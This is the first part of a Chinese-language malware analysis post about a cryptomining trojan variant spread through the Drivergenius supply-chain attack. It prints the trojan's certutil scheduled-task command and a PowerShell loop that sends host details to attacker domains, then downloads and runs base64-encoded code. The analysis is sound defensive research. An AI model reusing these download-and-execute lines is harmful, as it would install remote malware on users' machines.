驅動人生供應鏈木馬攻擊2019.1.30變種木馬分析

關注“IT魔幻屋”,獲取一手前線技術情報!

0x00 事件背景

驅動人生供應鏈木馬攻擊2019.1.30變種木馬分析

360安全大腦監測到通過”驅動人生”供應鏈攻擊傳播的挖礦木馬在1月30日下午4時左右再次更新。此次更新中,木馬在此前抓取系統帳戶密碼的基礎上增加了抓取密碼hash值的功能,並試圖通過pass the hash攻擊進行橫向滲透,使得該木馬的傳播能力進一步加強,即使是有高強度口令的機器也有可能被攻陷。

pass the hash也稱作哈希傳遞攻擊,攻擊者可以直接通過密碼的哈希值訪問遠程主機或服務,而不用提供明文密碼。攻擊者使用pass the hash技術嘗試在系統登錄密碼非弱口令並且無法抓取登錄密碼的情況下進行橫向攻擊,增加攻擊成功率。

0x01 分析研討

由於木馬是樣本都是不落地的方式,核心技術是通過定時計劃任務執行powershell代碼達到持續控制的目的,因此最先分析powershell代碼,瞭解它做了哪些動作,指定查殺手段。

PS:樣本代碼過長,遂使用圖片截圖

0x02 分析過程

解密第一層

病毒樣本:

驅動人生供應鏈木馬攻擊2019.1.30變種木馬分析

第一個動作,創建一個名為Certificate的任務計劃,在七點開始,每隔一小時執行一次以下命令:

cmd.exe /c (cd %temp%&certutil -urlcache -split -f http://cert.beahh.com/cert.php?ver1=%COMPUTERNAME% v.dat>nul&expand -r v.dat>nul&v.bat>nul&del v.dat v.bat>nul)

由於目前cert.beahh.com已經無法訪問,所以進行下一個powershell分析環節。

首先,powershell -nop -w hidden -ep bypass -e後接著就是base64編碼的powershell代碼,並且以Bypass作為當前執行策略。

Windows中的powershell執行策略:

PS C:\Users\Rvn0xsy> Get-ExecutionPolicy -List
Scope ExecutionPolicy
----- ---------------
MachinePolicy Undefined
UserPolicy Undefined
Process Undefined
CurrentUser Undefined
LocalMachine Bypass

將後面的base64解密後:

驅動人生供應鏈木馬攻擊2019.1.30變種木馬分析

得到如下代碼:

while($true)
{
[System.Threading.Thread]::Sleep(200000);
[string]$m = (getmac /FO CSV|Select-Object -Skip 1 -first 1| ConvertFrom-Csv -Header MAC|select-object -expand MAC)
$q = [System.Net.WebRequest]::Create("http://new.beahh.com/startup.php?ver=1&mac="+$m+"&ver="+(Get-WmiObject -Class Win32_OperatingSystem).version+"&bit="+(Get-WmiObject Win32_OperatingSystem).OSArchitecture).GetResponse().GetResponseStream();
$r = (new-object System.IO.StreamReader $q).ReadToEnd() -replace "##";
$c = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($r));
iex $c;
[System.Threading.Thread]::Sleep(1000000);
}

外部是一個循環,將Sleep去除後,可以看到調用了Invoke-Expression,Invoke-Expression是一個能將變量的內容當作powershell表達式執行的函數。

而iex只是Invoke-Expression的別名。

下面簡單演示幾個例子:

PS C:\Users\Rvn0xsy> iex "Write-Host Rvn0xsy"
Rvn0xsy
PS C:\Users\Rvn0xsy> Write-Host Rvn0xsy
Rvn0xsy
PS C:\Users\Rvn0xsy> Invoke-Expression "Write-Host Rvn0xsy"
Rvn0xsy
PS C:\Users\Rvn0xsy>

將上述的木馬腳本中iex替換成Write-Host即可:

while($true)
{
[string]$m = (getmac /FO CSV|Select-Object -Skip 1 -first 1| ConvertFrom-Csv -Header MAC|select-object -expand MAC)
$q = [System.Net.WebRequest]::Create("http://new.beahh.com/startup.php?ver=1&mac="+$m+"&ver="+(Get-WmiObject -Class Win32_OperatingSystem).version+"&bit="+(Get-WmiObject Win32_OperatingSystem).OSArchitecture).GetResponse().GetResponseStream();
$r = (new-object System.IO.StreamReader $q).ReadToEnd() -replace "##";
$c = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($r));
Write-Host $c;

}

在這裡我們使用Windows 10自帶的Windows Powershell ISE腳本調試器來進行後續的分析。

驅動人生供應鏈木馬攻擊2019.1.30變種木馬分析

第一層解密完!預知後續如何,靜待下回分解,關注“IT魔幻屋”公眾號,帶你領略神一般的操作情報~


分享到:


相關文章: